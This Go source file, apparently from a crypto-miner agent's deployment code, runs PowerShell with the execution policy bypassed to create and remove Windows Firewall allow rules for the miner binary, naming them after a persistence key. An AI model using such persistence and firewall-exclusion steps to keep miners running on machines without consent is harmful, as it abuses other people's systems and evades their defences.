//go:build windows

package deploy

import (
	"fmt"
	"log"
	"os/exec"
	"strings"

	"crypto-miner-agent/config"
)

const firewallRulePrefix = "AetherForge"

// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
	if !cfg.FirewallExclusion {
		return
	}
	if strings.TrimSpace(exePath) == "" {
		return
	}

	ruleBase := firewallRuleBaseName(cfg)
	inName := ruleBase + " In"
	outName := ruleBase + " Out"

	if firewallRuleExists(inName) && firewallRuleExists(outName) {
		return
	}

	exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
	script := fmt.Sprintf(`
$exe = '%s'
$in = '%s'
$out = '%s'
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
  New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
  New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))

	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
	if err := cmd.Run(); err != nil {
		log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
		return
	}
	log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}

// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
	ruleBase := firewallRuleBaseName(cfg)
	for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
		script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
		_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
	}
}

func firewallRuleBaseName(cfg config.RuntimeConfig) string {
	key := PersistenceKeyName(cfg)
	if key == "" {
		return firewallRulePrefix
	}
	return firewallRulePrefix + " " + key
}

func firewallRuleExists(displayName string) bool {
	script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
	out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
	if err != nil {
		return false
	}
	return strings.TrimSpace(string(out)) == "True"
}